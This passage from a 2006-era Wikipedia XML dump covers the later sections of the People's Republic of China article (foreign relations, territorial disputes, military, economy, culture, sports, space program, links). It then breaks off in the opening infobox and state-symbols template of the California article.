The People's Republic of China maintains diplomatic relations with most countries in the world, but makes acknowledging its claim to [[Taiwan]] and severing any official ties with the [[Republic of China]] (ROC) government a prerequisite for diplomatic exchanges. It actively opposes foreign travels by current and former political officials of Taiwan, such as [[Lee Teng-hui]] and [[Chen Shui-bian]], and other persons it sees politically dangerous, such as [[Tenzin Gyatso]] (considering [[Tibet]]) and [[Li Hongzhi]] (considering [[Falun Gong]]).

[[Image:Clinton and jiang.jpg|right|thumb|200px|[[Jiang Zemin]] and [[Bill Clinton]].]]

In 1971, the PRC replaced the Republic of China as the sole representative for &quot;China&quot; in the [[United Nations]] and as one of the five permanent members of the [[United Nations Security Council]]; it is also considered a founding member although the PRC was not in control at the founding of the UN. (See [[China and the United Nations]])

It was for a time a member and leader of the   [[Non-Aligned Movement]], but now is an observer. Much of the current foreign policy is based on the concept of [[China's peaceful rise]].

[[Sino-Japanese relations]] have been strained several times in the past few decades by Japan's refusal to acknowledge its past [[Japanese war crimes|war crimes]] and violations to Chinese satisfaction, most notable among which is the [[Nanking Massacre|Nanjing Massacre]]. Recent incidents with the United States include the United States bombing of the Chinese embassy in [[Belgrade]] during the [[Kosovo War|Kosovo conflict]] in May 1999, allegedly involved in nuclear secrets espionage reported in the [[Cox Report]], as well as the [[U.S.-China spy plane incident]] in April 2001.

Some NGOs and Western governments have criticized China for alleged human rights abuses and its foreign relations with many Western Nations suffered following the [[Tiananmen Square]] Incident in 1989.

In addition to Taiwan, China is involved in several other territorial disputes. The PRC makes all of these claims on [[irredentism|irredentist]] grounds, while the opposing claimants tend towards viewing irredentism as a baseless ideology or view the PRC as being motivated by resources, military considerations, or nationalism considerations:

{{col-begin}}
{{col-break}}
* With [[India]]:
** [[Aksai Chin]], administered by China, officially claimed by [[India]], but India has not included it in any discussion about a settlement to the Kashmir dispute, effectively ceding it to China.
** [[Arunachal Pradesh]] / South Tibet, administered by India, claimed by China

{{col-break}}
* Over islands on the [[East China Sea]] or [[South China Sea]]:
** [[Paracel Islands]], administered by China, claimed by [[Vietnam]] and the [[Republic of China|ROC]]
** [[Spratly Islands]]: the People’s Republic of China, the [[Republic of China]] ([[Taiwan]]), and [[Vietnam]] each claim sovereignty over the entire group, while [[Malaysia]], the [[Philippines]], and [[Brunei]] claim parts of the group.
** Diaoyu Islands/[[Senkaku Islands]], administered by [[Japan]], claimed by the PRC and the [[Republic of China|ROC]]
{{col-end}}

In 2004, Russia agreed to transfer [[Yinlong Island]] as well as one half of [[Heixiazi Island]] to China, ending a long-standing border dispute between Russia and China. Both islands are found at the confluence of the [[Amur]] and [[Ussuri]] Rivers, and were until then administered by Russia and claimed by China. The event was meant to foster feelings of reconciliation and cooperation between the two countries by their leaders, but it has also sparked different degrees of discontents on both sides. The transfer has been ratified by both the Chinese [[National People's Congress]] and the Russian [[State Duma]] but has yet to be carried out to date.

Outside official opinion, it is popular for nationalists to make [[Irredentism|irredentist]] claims to [[Mongolia]], [[Tuva]] and [[Outer Manchuria]], as well as (less commonly) the [[Ryukyu Islands]], [[Bhutan]], the [[Hukawng Valley]] in northern [[Myanmar]], and [[Central Asia]] southeast of [[Lake Balkhash]].
{{see also|Political status of Taiwan}}

In 1997, the [[ASEAN]] member nations and the People's Republic of China, South Korea and Japan agreed to hold yearly talks to further strengthen regional cooperation, the [[ASEAN Plus Three]] meetings. In 2005 the ASEAN plus Three countries together with [[India]], [[Australia]] and [[New Zealand]] held the inaugural [[East Asia Summit]] (EAS).

==Military==
{{main|People's Liberation Army}}
[[Image:YuanWang2c.JPG|left|thumb|200px|[[Yuan Wang-class]] Aerospace Tracking Ship]]

The PRC maintains a military consisting of its [[People's Liberation Army Ground Force|army]], [[People's Liberation Army Navy|navy]], [[People's Liberation Army Air Force|air force]], and strategic [[People's Liberation Army#Nuclear weapons|nuclear]] forces. Its 2.25 million strong force makes it the largest military in the world, in terms of number of troops. The People's Liberation Army's official budget for 2005 is $30 billion, possibly excluding foreign weapons purchases, military-related research and development and the paramilitary [[People's Armed Police]] and other expenses.  Even the highest estimates set the military spending at considerably less than that of the [[United States]].

The PRC, despite possession of [[nuclear weapon]]s and delivery systems, is widely seen both within and outside of China as having only limited ability to project military power beyond its borders and is not generally considered to be a true [[superpower]], although it is widely seen as a major [[regional power]]. This is due to the limited effectiveness of its navy, such as lacking aircraft carriers, and air-force, which is large but generally considered obsolete by Western standards. 

The PRC continues to make efforts to modernize its military. It has purchased state-of-the-art fighter jets from Russia, such as [[Su-27]]s and [[Su-30]]s, and has produced its own relatively modern fighters, specifically the [[Chengdu J-10|J-10]]. It has also acquired Russian [[SA-10 Grumble|S-300]] Surface-to-Air missile systems, which are widely considered to be among the best aircraft-intercepting systems in the world. The PRC's armoured and rapid-reaction forces have been updated with enhanced electronics and targeting capabilities. In recent years, much attention has been focused on building a navy with blue-water capability.

==Largest cities==
[[Image:Shanghai day.jpg|thumb|200px|[[Shanghai]].]]
[[Image:VictoriaHarbour2.jpg|thumb|200px|[[Hong Kong]].]]
[[Image:Wuhan.jpg|thumb|200px|[[Wuhan]].]]
&lt;!-- Unsourced image removed: [[Image:Dalian.jpg|thumb|150px|[[Dalian]].]] --&gt;
The PRC has dozens of major cities, including 3 of the 55 [[global cities]].

{| class=&quot;wikitable&quot; style=&quot;text-align:right; margin-left:60px&quot; 
|- 
! # !! align=center |City !! City population&lt;br&gt;estimate[http://www.mongabay.com/igapo/China.htm] (2002),&lt;br&gt; million people !! Region
|-
| 1. ||align=left | [[Shanghai]]上海 || 9,0 ||
|-       
| 2. ||align=left | [[Beijing]]北京 || 7,1 ||
|-
| 3. ||align=left | [[Tianjin]]天津 || 4,3 ||
|-
| 4. ||align=left | [[Wuhan]]武汉 || 4,0 ||
|-
| 5. ||align=left | [[Shenyang]]沈阳 || 3,5 ||
|-
| 6. ||align=left | [[Guangzhou]]广州 || 3,4 ||
|-
| 7. ||align=left | [[Harbin]]哈尔滨 || 2,8 ||
|-
| 8. ||align=left | [[Xi'an ]]西安 || 2,7 ||
|-
| 9. ||align=left | [[Chongqing]]重庆 || 2,3 ||
|-
|10. ||align=left | [[Kowloon]]九龍 || 2,3 ||
|-
|11. ||align=left | [[Chengdu]]成都 || 1,9 ||
|-
|12. ||align=left | [[Changchun]]长春 || 1,9 ||
|-
|13. ||align=left | [[Taiyuan]]太原 || 1,8 ||
|-
|14. ||align=left | [[Nanjing]]南京 || 1,8 ||
|-
|15. ||align=left | [[Jinan]]济南 || 1,7 ||
|-
|16. ||align=left | [[Dalian]]大连 || 1,7 ||
|-
|17. ||align=left | [[Qingdao]]青岛 || 1,4 ||
|-
|18. ||align=left | [[Lanzhou]]兰州 || 1,4 ||
|-
|19. ||align=left | [[Fushun]]抚顺 || 1,4 ||
|-
|20. ||align=left |  [[Zhengzhou]]郑州 || 1,3 ||
|}
&lt;br clear=left&gt;
(All the Chinese given above in this section are in simplified Chinese character.)

==Economy==
[[Image:Porcelain_Workshop,_Jingdezhen,_Jiangxi,_China.jpg|right|thumb|300px|Entry into the global economy has given vast amounts of people opportunities to rise economically.]]
{{main|Economy of the People's Republic of China}}

Beginning in late 1978 the Chinese leadership has been [[Chinese economic reform|reforming the economy]] from a [[Soviet Union|Soviet]]-style centrally planned economy to a more market-oriented economy but still within a rigid political framework of Communist Party control. To this end the authorities have switched to a system of household responsibility in [[agriculture]] in place of the old collectivization, increased the authority of local officials and plant managers in [[industry]], permitted a wide variety of small-scale enterprise in services and light [[manufacturing]], and opened the economy to increased foreign trade and investment. Price controls were also relaxed.  This has resulted in mainland China's shift from a [[planned economy|command economy]] to a [[mixed economy]] with both communist and capitalist tendencies.

The government has tended to not emphasize equality as when it first began and instead emphasized raising personal income and consumption and introducing new management systems to help increase productivity. The government also has focused on foreign trade as a major vehicle for economic growth, for which purpose it set up 5 [[Special Economic Zone]]s (SEZ: Shenzhen, Zhuhai, Shantou, Xiamen, Hainan Province) where investment laws are relaxed in order to attract foreign capital. The result has been a 6-fold increase of [[Gross Domestic Product|GDP]] since 1978. In 2005, with its 1.3 billion people and a GDP of $6200 per capita ([[PPP|Purchasing Power Parity]])  [http://www.cia.gov/cia/publications/factbook/print/ch.html], the PRC became the sixth largest economy in the world by exchange rate [http://www.chinadaily.com.cn/english/doc/2005-12/20/content_504997.htm] and third largest in the world after the [[European Union]] and the [[United States]] by purchasing power parity. The average annual income of a Chinese worker is about $1,500. Chinese economic development is among the fastest in the world, about 8-9% per year according to Chinese government statistics. China is now a member of the [[World Trade Organization]].

Mainland China has a reputation as being a low-cost manufacturer, particularly due to its abundant non-unionised inexpensive labor. An unskilled worker at a Chinese factory in the rural area costs a company under $1/hour, however, the prices of goods and services in China are lower than in more developed countries. Furthermore, many Chinese workers do not join [[trade union]]s. Employers may find this helpful as [[labor relations]] are different in most other parts of the world. A possible reason for this could be [[work ethics]], or it is also conceivable it is driven by a fear that unions will be abused by the [[Communist Party of China]] to identify [[dissidents]]. (See [[list of Chinese dissidents]].) {{China regional economic strategies}}

Another aspect of the Chinese economy that is often overlooked is the low cost of non labor inputs. This is due in part to an overly competitive environment with many producers and a general tendency towards an oversupply and low prices. There is also the continued existence of price controls and supply guarantees left over from the former Soviet style command economy. As State owned enterprises continue to be dismantled and workers shift to higher productivity sectors, this deflationary effect will continue to put pressure on prices in the economy.  

Preferential tax incentives are also given as a direct fiscal incentive to manufacture in China, whether for export or for the local market of 1.3 billion. China is attempting to harmonize the system of taxes and duties it imposes on enterprises, domestic and foreign alike. As a result, preferential tax and duty policies that benefit exporters in special economic zones and coastal cities have been targeted for revision. 

China's high growth in the global markets has caused notable disputes, especially the trade imbalance with the United States. The discrepancy is largely attributed to the fact that Chinese corporations can produce many products desired in the US far more cheaply than other parts of Asia or Latin America, and expensive products produced in America are in large part uncompetitive compared to European or Asian goods. Another factor cited by some people was the unfavorable [[exchange rate]] between the [[Renminbi|Chinese yuan]] and the [[United States dollar]] to which it used to be [[Fixed exchange rate|pegged]]. On [[July 21]], [[2005]] the [[People's Bank of China]] announced that it would move to a floating peg ([[managed float]]), allowing its currency to move against the United States dollar by 0.3% a day. The yuan's trading band against other currencies is 3% a day. Many high tech American companies have difficulty exporting to China due to federal government restrictions. This may also have contributed to the widening trade gap between the 2 countries. With the elimination of clothing quotas, China stands to take over a large chunk of the worldwide textile industry. [http://www.nytimes.com/2003/08/26/business/worldbusiness/26CHIN.html?th] [http://www.nytimes.com/2003/09/02/business/02CHIN.html?th]

In 2003, China's GDP in terms of [[purchasing power parity]] reached $6.4 trillion, becoming the [http://www.cia.gov/cia/publications/factbook/rankorder/2001rank.html second-largest in the world]. Using conventional measurements, China's GDP is expected to become [http://www.guardian.co.uk/china/story/0,7369,1666876,00.html the world's fourth-largest in 2005]. With its large population this still gives an average GNP per person of only an estimated $5,000, about 1/7th that of the United States. The officially reported growth rate for 2003 was 9.1%.

The disparity in wealth between the coastal strip and the remainder of the country remains wide. To counter this potentially destabilizing problem, the government has initiated the [[China Western Development]] strategy (2000), the [[Revitalize Northeast China]] initiative (2003), and the [[Rise of Central China]] policy (2004), which are all aimed at helping the interior of China to catch up.
The map on the right shows the economic regions of [[Mainland China]] covered under these strategies.

==Transportation==
[[Image:Shanghai_Transrapid_002.jpg|left|thumb|160px|[[Magnetic levitation]] train in [[Shanghai]].]]
[[Image:Karakorum-carretera-d08.jpg|right|thumb|200px|The [[Karakoram Highway]] is the highest international road in the world.]]
{{main articles|[[Transportation in the People's Republic of China]], [[Transportation in Hong Kong]], and [[Transportation in Macau]]}}

Transportation in the mainland of the People's Republic of China has improved remarkably starting in the late 1990s as part of a government effort to link the entire nation through a series of expressways known as the [[National Trunk Highway System]]. Private car ownership is increasing but remains uncommon, in large part due to government policies designed to make car ownership expensive through the use of taxes and toll roads.

Air travel has increased considerably, although remains out of reach for most ordinary mainland Chinese. Long distance transportation for most mainland Chinese is still dominated by the railways and bus systems.

Cities are increasingly building underground or light rail systems, such as in [[Shanghai]]. [[Hong Kong]] has one of the most modern transport systems in the world.



==Culture==
[[Image:Chinese_New_Year's_poetry.jpg|thumb|240px|left|Hand-painted [[Chinese New Year]]'s poetry pasted on the sides of doors leading to people's homes, Old Town, [[Lijiang City|Lijiang]], [[Yunnan]].]]
[[Image:SunWuKongInBeijingOpera.jpg|thumb|right|200px|One of the most famous [[Chinese literature|Chinese literary]] characters, [[Sun Wukong]], in [[Beijing opera]].]]
[[Image:Chinese meal.JPG|thumb|Chinese meal|200px|right|Meals are treated as important social events. A Chinese meal in [[Jiangsu]] province.]]
[[Image:Late_afternoon_band_practice.jpg|thumb|200px|right|Musical hobbies are increasingly popular and available.]]
{{main|Culture of China}}

China's traditional values were derived from the orthodox version of [[Confucianism]]/[[conservatism]], which was taught in schools and was even part of [[imperial civil service examinations]]. However, the term Confucianism is somewhat problematic in that the system of thought which reached its high-water mark in Qing Dynasty imperial China was in fact composed of several strains of thought, including [[Legalism (philosophy)|Legalism]], which in many ways departed from the original spirit of Confucianism; indeed by the height of imperial China, the right of the individual ethical conscience and the right to criticise tyrannical governments and demand change had largely been prohibited by &quot;orthodox&quot; thinkers. Currently, there are neo-Confucians who believe that contrary to that line of thought, democratic ideals and human rights are quite compatible with traditional Confucian &quot;Asian values&quot;.  See [http://www.columbia.edu/cu/ccba/cear/issues/fall97/graphics/special/debary/debary.htm]

The leaders who directed the efforts to change Chinese society after the establishment of the People's Republic of China in 1949 were raised in the old society and had been marked with its values. PRC leaders sought to change some traditional aspects, such as rural land tenure, sexism, and Confucian education, while preserving others, such as the family structure. Some observers believe that the Communist period following 1949 is very much in continuity with traditional [[Chinese history]], rather than revolutionary.

On the other hand, some observers believe that the Communist period following 1949 has fundamentally altered or damaged the foundations of Chinese culture. At various times in the history of the PRC, many aspects of traditional Chinese culture were labeled 'regressive and harmful' or 'vestiges of feudalism' by the regime or by prominent movements (e.g. by the [[Red Guards (China)|Red Guards]] during the [[Cultural Revolution]]), such as [[Confucianism]], traditional art, literature, and performing arts; for example, [[Beijing opera]] was &quot;reformed&quot; to conform to communist propaganda. The brutality of the Cultural Revolution itself has also been described as destructive to China's traditional moral values. The institution of the [[Simplified Chinese]] orthography reform is controversial as well, with some considering it harmless, and others viewing it as an assault on Chinese culture. However, China has since moved away from attempting to reform all of its traditional art forms.  As time has progressed, the PRC government has accepted much of traditional Chinese culture as an integral part of Chinese society; current Chinese national policy often lauds these as important achievements of the Chinese civilization and emphasizes them as being integral to the formation of Chinese national identity. The PRC has also promoted feelings of nationalism in recent years, regarded by some observers as an effort to provide legitimacy for its rule.
{{seealso|Chinese art|Chinese clothing|Chinese cuisine|Chinese language|Chinese literature|Chinese written language|List of Chinese people|Cinema of China|Chinese Animation|Music of China|Religion in China|Holidays in the People's Republic of China}}

==Sports==
[[Image:Demonstrating_Kung_Fu_at_Daxiangguo_Monestary,_Kaifeng,_Henan.JPG|thumb|160px|right|[[Kung Fu]] demonstration at [[Daxiangguo Monestary]] in [[Kaifeng]], [[Henan]].]]
[[Image:Yao_Ming_-_2004_flag_carrier.png|thumb|100px|[[Yao Ming]] carrying the [[Chinese flag]] at the [[2004 Athens Olympics]].]]
{{main|Sports in China}}

===Popular Sports===
China has one of the oldest sporting cultures in the world, spanning the course of several millennia. The following is a list of some of the predominant sports in the PRC.

'''Table Tennis''' - ''Ping pang qiu'' ( 乒乓球) is the official name for [[ping pong]] or [[table tennis]] in China. China has consistently been one of the best ping pong playing nations in the world and is home to what many consider to be the greatest player of all time, [[Deng Yaping]].

&lt;!--FIFA, http://www.fifa.com/en/history/index/0,1284,103480,00.html?articleid=103480--&gt;
'''Soccer''' - [[Soccer]] (or football) is another widely popular sport in China. A form of soccer was played in China some 10,000 years ago. It achieved extreme popularity around 2,000 years ago when the game transformed from a more hands-on  style of play to being played primarily by kicking. The earliest form of soccer was known as 'caju', literally meaning 'to kick ball', played with a leather ball full of hair. Today, international soccer is seeing a resurgence in popularity. However, due to the scarcity of large, open areas, it remains mostly a [[spectator sport]] in the urban areas.

'''Basketball''' - Because of the low infrastructure requirement, [[basketball]] is a popular sport participated in by young people, especially young men and boys. The [[United States of America|American]] [[National Basketball Association|NBA]] games have a huge fan base in China, partly because of the participation of [[Yao Ming]], who plays for the [[Houston Rockets]].

'''Golf''' - [[Golf]] is an emerging game in China, and is seen by some as a status symbol. Several retired [[Communist Party of China|CPC]] leaders are known to be keen golfers. A form of golf, involving hitting balls into holes in the ground with a stick, had been played in China for at least 700 years. 

'''Martial Arts''' - Hundreds of different styles of Chinese martial arts, or ''[[Wushu]]'', have developed over the past two thousand years, many distinctive styles with their own sets of techniques and ideas. hundreds of different styles and schools of Wushu still exist in China, but generally they can be divided into a few distinct branches, including Northern and Southern [[Shaolin]]-style Wushu, as well as Buddhist, Daoist and Muslim styles. For more information see [[Chinese martial arts]].

'''Traditional Sports''' - Many traditional sports are still played. In [[Inner Mongolia]] traditional sports such as [[Mongolian-style wrestling]] and [[horse racing]] are popular. In [[Tibet]], archery and equestrian sports are a part of traditional festivals. [[Dragon boat racing]] occurs during the [[Duan Wu festival]].

=== Performance at international games ===
China has also done well in recent [[Olympic Games]], particularly the summer games, in 2004 China was second in the gold medal tally, and third in total medals with 63 (32 gold, 17 silver and 14 bronze). For details see [[China at the Olympics]]. [[Beijing]] is set to host the [[2008 Summer Olympics]]. In the [[Winter Olympics]], China has performed well in speed skating and figure skating. The [[Chinese national women's ice hockey team]] is highly ranked in world competitions.

==Science and technology==
[[Image:China (172).jpg|right|thumb|150px|Launch of the [[Long March rocket]].]]
{{main|Science and technology in China}}

After the [[Sino-Soviet split]], China started to develop its own indigenous nuclear deterrent and delivery systems. A natural outgrowth of this was a satellite launching program. This culminated in 1970 with the launching of [[Dong Fang Hong I]], the first Chinese satellite. This made the PRC the fifth nation to independently launch a satellite.

In 1992 the current &quot;[[Project 921]]&quot; manned spaceflight program was authorized. On [[19 November]] [[1999]], the unmanned ''[[Shenzhou 1]]'' was launched, the first test flight of the program. After three more tests, ''[[Shenzhou 5]]'' was launched on [[October 15]], [[2003]], using a [[Long March rocket|Long March 2F rocket]] and carrying [[Yang Liwei]], making the PRC the third country to put a human being into [[outer space|space]] through its own endeavors. The second mission, ''[[Shenzhou 6]]'' launched [[12 October]] [[2005]]. Some see [[Space program of China|China's space program]] as a response to the [[United States Air Force]]'s efforts to militarize space.

China is actively developing in fields such as [[biotechnology]], [[biomedicine]], [[information technology]], [[urban infrastructure]] and [[electronics]].

==Miscellaneous topics==
{{main|List of China-related topics}}
{{col-begin}}
{{col-break}}
* [[China]] article on China's [[civilization]]s
* [[Chinese law]] and [[law of the People's Republic of China]]
* [[Communications in mainland China]], [[communications in Hong Kong|Hong Kong]], and [[communications in Macau|Macau]]
* [[Education in mainland China]], [[education in Hong Kong|Hong Kong]], and [[education in Macau|Macau]]
* [[National College Entrance Examination]]
* [[Environment of China]]
* [[Ethnic groups of China]]
* [[Superpower]]

{{col-break}}
* [[Police in the People's Republic of China]]
* [[Railways in China]]
* [[Science and technology in China]]
* [[Transportation in mainland China]], [[Transport in Hong Kong|Hong Kong]], and [[Transportation in Macau|Macau]]
* [[Military history of China]]
* [[China and weapons of mass destruction]]
* [[List of Chinese battles]]
* [[Scouting in China]]
{{col-end}}

==Further reading==
{{sisterlinks|China}}
* Ross Terrill, &lt;cite&gt;The New Chinese Empire: And What It Means for the United States&lt;/cite&gt;, Basic Books, hardcover, 400 pages,  ISBN 0465084125
*Roads Murphey, &lt;cite&gt;East Asia: A New History&lt;/cite&gt;, U. of Michigan Press: 1996.
==Notes==
# {{note|disp}} China's border with Pakistan falls in the disputed [[Kashmir]] province. The area under Pakistani-administration is claimed by India. 
 
==References==
*[http://www.cia.gov/cia/publications/factbook/geos/ch.html CIA World Factbook 2002/2004]
*[http://www.state.gov/r/pa/ei/bgn/18902.htm Background Note: China U.S. Department of State website]

==External links==
{{col-begin}}
{{col-2}}
===Government===
*[http://www.china.org.cn/english/index.htm China.org.cn] China's Official Gateway
*[http://www.gov.cn www.gov.cn] China's Government Portal
* [http://www.chinadetail.com/Nation/ Chinese Central, Provincial and City governments]

===News===
* [http://chinadigitaltimes.net/ China Digital Times]
*[http://www.chinadaily.com.cn/english/home/index.html China Daily]
*[http://www.chinaonline.com/ China Online]
*[http://english.eastday.com/ Eastday] Shanghai-based
*[http://www.HavenWorks.com/world/china HavenWorks - China News] news headline links
*[http://english.peopledaily.com.cn/ People's Daily Online]
*[http://www.scmp.com/ South China Morning Post] Hong Kong-based
*[http://202.84.17.11/en/index.htm Xinhua] government news agency
*[http://news.yahoo.com/fc/World/China Yahoo! News- Full Coverage: China] news headline links

===Overviews===
*[http://news.bbc.co.uk/1/hi/world/asia-pacific/country_profiles/1287798.stm BBC News - ''Country Profile: China'']
*[http://news.bbc.co.uk/1/hi/in_depth/asia_pacific/2004/china/default.stm BBC News - In Depth: Changing China] ongoing coverage
*[http://edition.cnn.com/SPECIALS/2005/eyeonchina/ CNN.com Specials - Eye on China] ongoing coverage
*[http://www.cia.gov/cia/publications/factbook/geos/ch.html CIA World Factbook - ''China'']
*[http://www.guardian.co.uk/china/0,7368,467721,00.html Guardian Unlimited - ''Special Report: China''] ongoing coverage
*[http://lcweb2.loc.gov/frd/cs/cntoc.html Library of Congress - ''Country Study: China''] data as of July 1987
*[http://www.pbs.org/wgbh/pages/frontline/shows/red/ PBS Frontline - ''China in the Red''] documentary covering 1998-2001
*[http://web.amnesty.org/report2004/chn-summary-eng Amnesty International Report 2004]
*[http://www.earlywarning.com/articles/by_region/china earlywarning - ''China''] ongoing coverage

===Directories===
*[http://dmoz.org/Regional/Asia/China/ Open Directory Project - ''China''] directory category
*[http://dir.yahoo.com/Regional/Countries/China/ Yahoo! - ''China''] directory category
*[http://www.findouter.com/China/ China Findouter] directory category
{{col-2}}

===Tourism===
*{{wikitravel}}
* [http://www.mondophoto.net/asia/china/china.html Mondophoto.net] - 4200 Public Domain photos of China
* [http://www.ianandwendy.com/OtherTrips/ChinaVietnamCambodia/China/?nosplash=true China Pictures] - Photos from a backpacker's trip through China
* [http://www.discoverdalian.com Discover Dalian] - Historic photos of this former Colonial capital

===Other===
* [http://www.seoultrain.com &quot;Seoul Train&quot; documentary] A critically acclaimed PBS documentary on North Korean refugees ([[Incite Productions]])
* [http://china.notspecial.org/ The Opposite End of China (Xinjiang, China Blog)]
* [http://www.ifex.org/en/content/view/full/147/ Censorship in China]
* [http://www.globalpolitician.com/articles.asp?ID=225 Chinese Threat to American Leadership in Space]
* [http://www.arachina.com/ China International Travel Service OF Guilin - JP ]
* [http://www.chinahistoryforum.com/ China History Forum]
* [http://www.chinaorbit.com ChinaOrbit.com] general information
* [http://www.nytimes.com/2003/06/12/international/asia/12CHIN.html?tntemail1 Chinese politics]: New York Times June 12, 2003 (login is required)
* [http://www.geocities.com/CapeCanaveral/Launchpad/1921/ Go Taikonauts!] Chinese citizen's page devoted to China's space program
* [http://www.cinaoggi.com/china-map/ Interactive Map of China] 
* [http://www.space.com/missionlaunches/shenzhou_china_archive.html Space.com] articles on China's space activities
* [http://www.globalpolitician.com/articles.asp?ID=341 The Dragon's Dawn: China as a Rising Imperial Power] February 11, 2005
* [http://www.freedomhouse.org/research/freeworld/2004/countryratings/china.htm Freedom House's 2004 country report on China]
*[http://digicoll.library.wisc.edu/EastAsian/  The East Asian Collection] University of Wisconsin Digital Collections - visual archive of 20th century East Asian cultural heritage. These consist of the ''Holmes Welch Collection'' (Welch was a China history/religion scholar), and ''The China in the 1930s Collection'' which includes military images of the Japanese invasion of China and the Sino-Japanese Conflict.)
*[http://www.danwei.org/ Media, advertising, and urban life in China.]
{{col-end}}

{{China ties}}

[[Category:Central Asian countries|China, People's Republic of]]
[[Category:Communist states|China, People's Republic of]]
[[Category:East Asian countries|China, People's Republic of]]
[[Category:People's Republic of China]]
[[Category:People's Republic of China|*]]
[[Category:Republics|China, People's Republic of]]

{{Link FA|fr}}
{{Link FA|vi}}

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[[be:Кітай]]
[[bs:Narodna Republika Kina]]
[[ca:República Popular de la Xina]]
[[cv:Китай]]
[[chr:ᏥᎾ]]
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[[cy:Gweriniaeth Pobl China]]
[[da:Folkerepublikken Kina]]
[[de:Volksrepublik China]]
[[el:Λαϊκή Δημοκρατία της Κίνας]]
[[es:República Popular China]]
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[[eu:Txina]]
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[[hr:Kina]]
[[io:Chinia]]
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[[ia:China]]
[[is:Alþýðulýðveldið Kína]]
[[it:Cina]]
[[he:הרפובליקה העממית של סין]]
[[kk:Қытай]]
[[ku:Çîn]]
[[la:Respublica Populi Sinarum]]
[[lv:Ķīna]]
[[lt:Kinija]]
[[jbo:jungug]]
[[hu:Kína]]
[[mk:Кина]]
[[ms:Republik Rakyat China]]
[[mn:Бүгд Найрамдах Хятад Ард Улс]]
[[nah:Xina]]
[[nl:Volksrepubliek China]]
[[nds:Volksrepubliek China]]
[[ja:中華人民共和国]]
[[no:Folkerepublikken Kina]]
[[nn:Folkerepublikken Kina]]
[[os:Китай]]
[[pl:Chińska Republika Ludowa]]
[[pt:República Popular da China]]
[[ro:Republica Populară Chineză]]
[[ru:Китай]]
[[simple:People's Republic of China]]
[[sk:Čínska ľudová republika]]
[[sl:Kitajska]]
[[sr:Народна Република Кина]]
[[sv:Kina]]
[[tl:Tsina]]
[[ta:சீன மக்கள் குடியரசு]]
[[th:สาธารณรัฐประชาชนจีน]]
[[vi:Cộng hòa Nhân dân Trung Hoa]]
[[tr:Çin Halk Cumhuriyeti]]
[[uk:Китай]]
[[yi:כינע]]
[[za:Cunghvaz Yinzminz Gunghozgoz]]
[[zh:中华人民共和国]]
²²</text>
    </revision>
  </page>
  <page>
    <title>California</title>
    <id>5407</id>
    <revision>
      <id>42144756</id>
      <timestamp>2006-03-04T02:52:36Z</timestamp>
      <contributor>
        <username>Yeltensic42</username>
        <id>365773</id>
      </contributor>
      <comment>Mt. Whitney and Death Valley are within 85 miles of each other</comment>
      <text xml:space="preserve">{{Otheruses1|the U.S. State}}
{{US state |
  Name               = California|
  Fullname           = State of California |
  Flag               = California state flag.png |
  Flaglink           = [[Flag of California]] |
  Seal               = California state seal.png |
  Map                = Map of USA highlighting California.png |
  Nickname           = The Golden State |
  Capital            = [[Sacramento, California|Sacramento]] |
  OfficialLang       = [[English language|English]] |
  LargestCity        = [[Los Angeles, California|Los Angeles]] |
  Governor           = [[Arnold Schwarzenegger]] (R)|
  Senators           = [[Dianne Feinstein]] (D)
[[Barbara Boxer]] (D) |
  PostalAbbreviation = CA |
  TradAbbreviation   = Calif. |
  AreaRank           = 3&lt;sup&gt;rd&lt;/sup&gt; |
  TotalArea          = 410,000 |
  LandArea           = 404,298 |
  WaterArea          = 20,047 |
  PCWater            = 4.7 |
  PCForest           = 35 |
  PCDesert           = 25 |
  PopRank            = 1&lt;sup&gt;st&lt;/sup&gt; |
  2004Pop(est)       = 35,893,799 |
  2003Pop            = 35,484,453 |
  2000Pop            = 33,871,648 |
  DensityRank        = 12&lt;sup&gt;th&lt;/sup&gt; |
  2000Density        = 83.78 |
  AdmittanceOrder    = 31&lt;sup&gt;st&lt;/sup&gt; |
  AdmittanceDate     = [[September 9]], [[1850]] |
  TimeZone           = [[Pacific Standard Time Zone|Pacific]]: [[Coordinated Universal Time|UTC]]-8/[[Daylight saving time|-7]] |
  Latitude           = 32°30'N to 42°N |
  Longitude          = 114°8'W to 124°24'W |
  Width              = 402.5 |
  Length             = 1,240 |
  HighestElev        = 4421 |
  MeanElev           = 884 |
  LowestElev         = -86 |
  ISOCode            = US-CA |
  Website            = www.ca.gov
}}
{{US state symbols |
&lt;!-- before modifying these state symbols please verify your changes against official California Government Code sections 420-429.8,
http://www.leginfo.ca.gov/cgi-bin/waisgate?WAISdocID=06487414661+1+0+0&amp;WAISaction=retrieve
--&gt;
  Name               = California |
  Flag               = California state flag.png |
  Seal               = California state seal.png |
  Nickname           = The Golden State |
  Capital            = [[Sacramento, California|Sacramento]] |
    Animal           = [[Brown Bear|California grizzly bear]]; marine - [[Gray Whale]]|
    Bird             = [[California Quail]] |
    Butterfly        = [[California dogface butterfly]] |
    Fish             = [[Golden Trout]]; marine - [[Garibaldi (fish)|Garibaldi]] |
    Flower           = [[California Poppy]] |
    Grass            = [[Stipa|Purple Needlegrass]] |
    Insect           = [[California dogface butterfly]] |
    Reptile          = [[Desert Tortoise]] |
    Tree             = [[Sequoia|California Redwood]] |
    Wildflower       = [[California Poppy]] |
  Colors             = [[Blue]] &amp; [[Gold (color)|Gold]] |
  Dance              = [[West Coast Swing]]; folk - [[Square dance]] |
  Fossil             = [[Smilodon|Saber-toothed cat]] |
  Gemstone           = [[Benitoite]] |
  Mineral            = [[Gold]] |
  Motto              = [[Eureka (word)|Eureka!]] |
  StateRock          = [[Serpentine]] |
  Ships              = ''The Californian'' (tall ship) |
  Song               = ''[[I Love You, California]]'' |
  Soil               = San Joaquin soil |
  Tartan             = [[California State Tartan]]|
  Beverage           = none |
  Furbearer          = none |
  Game               = none |
  MusicalInstrument  = none |
  Neckwear           = none |
  Waltz              = none
}}
&lt;!-- How to add a footnote:
   NOTE: Footnotes in this article use names, not numbers. Please see [[Wikipedia:Footnotes]] for details.
     1) Assign your footnote a unique name, for example TheSun_Dec9.
     2) Add the macro {{ref|TheSun_Dec9}} to the body of the article, where you want the new footnote.
     3) Take note of the name of the footnote that immediately precedes yours in the article body.
     4) Add #{{Note|TheSun_Dec9}} to the list, immediately below the footnote you noted in step 3.  No need to re-number anything!
     5) Multiple footnotes to the same reference: see [[Wikipedia:Footnotes]] for a how-to.
   NOTE: It is important to add footnotes in the right order in the list!
--&gt;
